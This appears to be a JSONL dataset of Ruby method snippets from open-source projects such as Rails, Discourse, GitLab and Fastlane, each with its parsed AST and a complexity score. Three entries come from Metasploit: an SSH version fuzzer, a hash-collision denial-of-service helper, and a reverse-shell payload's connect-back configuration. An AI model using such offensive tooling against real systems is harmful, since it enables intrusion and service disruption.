\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mountable\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[null,\"engine_path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"str\",\"children\":[\"Gemfile\"]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"            source \\\"https://rubygems.org\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            gem \\\"rails\\\", path: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RAILS_FRAMEWORK_ROOT\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            gem \\\"sqlite3\\\"\\n\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ {12}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"85c856e8-d707-404d-ac85-e97aae4d19a0"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/admin/export_controller.rb","start_line":8,"raw_source":"def export_messages\n        entity = \"chat_message\"\n        Jobs.enqueue(:export_csv_file, entity: entity, user_id: current_user.id)\n        StaffActionLogger.new(current_user).log_entity_export(entity)\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"export_messages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entity\",{\"type\":\"str\",\"children\":[\"chat_message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"export_csv_file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity\"]},{\"type\":\"lvar\",\"children\":[\"entity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StaffActionLogger\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"log_entity_export\",{\"type\":\"lvar\",\"children\":[\"entity\"]}]}]}]}","id":"1b258c5e-0757-4e18-a13b-0df6e4daeb65"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability_check_batch_service.rb","start_line":5,"raw_source":"def initialize(merge_requests, user)\n      @merge_requests = merge_requests\n      @user = user\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_requests\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_requests\",{\"type\":\"lvar\",\"children\":[\"merge_requests\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"cab0f55c-442c-4adf-b024-2adf65e500c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/pajamas/progress_component.rb","start_line":7,"raw_source":"def initialize(value: 0, variant: :primary)\n      @value = value\n      @variant = filter_attribute(variant, VARIANT_OPTIONS, default: :primary)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"value\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"variant\",{\"type\":\"sym\",\"children\":[\"primary\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@variant\",{\"type\":\"send\",\"children\":[null,\"filter_attribute\",{\"type\":\"lvar\",\"children\":[\"variant\"]},{\"type\":\"const\",\"children\":[null,\"VARIANT_OPTIONS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"primary\"]}]}]}]}]}]}]}","id":"f34b1278-8dc0-4c4c-8d63-742cfa4776ad"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/duplicate_methods.rb","start_line":105,"raw_source":"def initialize(config = nil, options = nil)\n          super\n          @definitions = {}\n          @scopes = Hash.new { |hash, key| hash[key] = [] }\n        end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"config\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@definitions\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@scopes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}","id":"0d915201-d75b-470a-be3b-bc1ff120160d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb","start_line":34,"raw_source":"def do_ssh_version(pkt, opts = {})\n    @connected = false\n    connect\n    @connected = true\n\n    @banner = sock.get_once(-1, opts[:banner_timeout])\n    return if !@banner\n\n    sock.put(\"#{pkt}\\r\\n\")\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"do_ssh_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkt\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connected\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"ivasgn\",\"children\":[\"@connected\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@banner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"banner_timeout\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@banner\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]}]}]}","id":"12122cef-76f2-4b90-a1a2-f66262ecf3cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/hashcollision_dos.rb","start_line":155,"raw_source":"def djbxa(input_string, base, start)\n    counter = input_string.length - 1\n    result = start\n    input_string.each_char do |item|\n      result += ((base**counter) * item.ord)\n      counter -= 1\n    end\n    return result.round\n  end","complexity_score":17.25,"ast_json":"{\"type\":\"def\",\"children\":[\"djbxa\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_string\"]},{\"type\":\"arg\",\"children\":[\"base\"]},{\"type\":\"arg\",\"children\":[\"start\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_string\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"lvar\",\"children\":[\"start\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_string\"]},\"each_char\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"**\",{\"type\":\"lvar\",\"children\":[\"counter\"]}]}]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"ord\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"round\"]}]}]}]}","id":"6c480b0b-c9aa-4f1e-9a3e-bdbcbb1a3926"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":575,"raw_source":"def test_should_not_load_the_associated_model\n    tagging = taggings(:welcome_general)\n    tagging.reset_tag\n    assert_no_queries { tagging.save! }\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_load_the_associated_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tagging\",{\"type\":\"send\",\"children\":[null,\"taggings\",{\"type\":\"sym\",\"children\":[\"welcome_general\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tagging\"]},\"reset_tag\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tagging\"]},\"save!\"]}]}]}]}","id":"bf090f7a-cb32-4b06-8d8f-9d7e9d96f007"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/members/cleanup_service.rb","start_line":52,"raw_source":"def prune_watchers\n      Watcher.prune(user: users, project_id: project_ids)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prune_watchers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Watcher\"]},\"prune\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project_ids\"]}]}]}]}]}","id":"a0633364-42ed-4414-ae6c-8a1989469331"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/zendesk.rb","start_line":177,"raw_source":"def import_posts\n    puts \"\", \"creating posts\"\n    total_count = @db.count_posts\n    last_row_id = 0\n\n    batches do |offset|\n      rows, last_row_id = @db.fetch_sorted_posts(last_row_id)\n      break if rows.empty?\n\n      next if all_records_exist?(:posts, rows.map { |row| row[\"id\"] })\n\n      create_posts(rows, total: total_count, offset: offset) do |row|\n        topic = topic_lookup_from_imported_post_id(import_topic_id(row[\"topic_id\"]))\n\n        if topic.nil?\n          p \"MISSING TOPIC #{row[\"topic_id\"]}\"\n          p row\n          next\n        end\n\n        {\n          id: row[\"id\"],\n          raw: normalize_raw(row[\"raw\"]),\n          user_id: user_id_from_imported_user_id(row[\"user_id\"]) || Discourse.system_user.id,\n          topic_id: topic[:topic_id],\n          created_at: row[\"created_at\"],\n          post_create_action:\n            proc do |post|\n              url = remove_domain(row[\"url\"])\n              Permalink.create(url: url, post_id: post.id) unless permalink_exists?(url)\n            end,\n        }\n      end\n    end\n  end","complexity_score":65.9,"ast_json":"{\"type\":\"def\",\"children\":[\"import_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating posts\"]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"count_posts\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_row_id\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\"]},{\"type\":\"lvasgn\",\"children\":[\"last_row_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"fetch_sorted_posts\",{\"type\":\"lvar\",\"children\":[\"last_row_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"empty?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_records_exist?\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_posts\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"send\",\"children\":[null,\"import_topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"topic_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"p\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MISSING TOPIC \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"topic_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"p\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[null,\"normalize_raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"raw\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_create_action\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"remove_domain\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"url\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permalink_exists?\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}","id":"17d2921f-5bcb-488b-ab43-9bcf1b63bebd"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/dsym_zip.rb","start_line":10,"raw_source":"def self.run(params)\n        archive = params[:archive_path]\n        params[:dsym_path] ||= File.join(\"#{File.basename(archive, '.*')}.app.dSYM.zip\")\n\n        dsym_folder_path = File.expand_path(File.join(archive, 'dSYMs'))\n        zipped_dsym_path = File.expand_path(params[:dsym_path])\n\n        Actions.lane_context[SharedValues::DSYM_ZIP_PATH] = zipped_dsym_path\n\n        if params[:all]\n          Actions.sh(%(cd \"#{dsym_folder_path}\" && zip -r \"#{zipped_dsym_path}\" \"#{dsym_folder_path}\"/*.dSYM))\n        else\n          plist = Plist.parse_xml(File.join(archive, 'Info.plist'))\n          app_name = Helper.test? ? 'MyApp.app' : File.basename(plist['ApplicationProperties']['ApplicationPath'])\n          dsym_name = \"#{app_name}.dSYM\"\n          Actions.sh(%(cd \"#{dsym_folder_path}\" && zip -r \"#{zipped_dsym_path}\" \"#{dsym_name}\"))\n        end\n      end","complexity_score":30.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"archive\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"archive_path\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dsym_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"archive\"]},{\"type\":\"str\",\"children\":[\".*\"]}]}]},{\"type\":\"str\",\"children\":[\".app.dSYM.zip\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dsym_folder_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"archive\"]},{\"type\":\"str\",\"children\":[\"dSYMs\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"zipped_dsym_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dsym_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"DSYM_ZIP_PATH\"]},{\"type\":\"lvar\",\"children\":[\"zipped_dsym_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cd \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dsym_folder_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\" && zip -r \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zipped_dsym_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\" \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dsym_folder_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\"/*.dSYM\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plist\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plist\"]},\"parse_xml\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"archive\"]},{\"type\":\"str\",\"children\":[\"Info.plist\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"app_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"test?\"]},{\"type\":\"str\",\"children\":[\"MyApp.app\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ApplicationProperties\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"ApplicationPath\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dsym_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_name\"]}]},{\"type\":\"str\",\"children\":[\".dSYM\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cd \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dsym_folder_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\" && zip -r \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zipped_dsym_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\" \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dsym_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]}]}]}","id":"ef7c14b9-c521-4c21-b640-c472ac29ff02"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/java/shell_reverse_tcp.rb","start_line":49,"raw_source":"def stager_config(opts = {})\n    ds = opts[:datastore] || datastore\n    c = ''\n    c << \"LHOST=#{ds['LHOST']}\\n\" if ds['LHOST']\n    c << \"LPORT=#{ds['LPORT']}\\n\" if ds['LPORT']\n    # Magical, means use stdin/stdout.  Used for debugging\n    # c << \"LPORT=0\\n\"\n    c << \"EmbeddedStage=Shell\\n\"\n\n    c\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stager_config\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ds\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"datastore\"]}]},{\"type\":\"send\",\"children\":[null,\"datastore\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ds\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LHOST=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ds\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ds\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LPORT=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ds\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"<<\",{\"type\":\"str\",\"children\":[\"EmbeddedStage=Shell\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}","id":"c632a1fb-96f2-4080-9f3f-f48613cf66ef"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order/store_credit.rb","start_line":82,"raw_source":"def display_total_applied_store_credit\n        Spree::Money.new(-total_applied_store_credit, currency: currency)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"display_total_applied_store_credit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Money\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_applied_store_credit\"]},\"-@\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[null,\"currency\"]}]}]}]}]}","id":"c1ea2ec5-c9f0-42a5-a3a4-549b1257e164"}
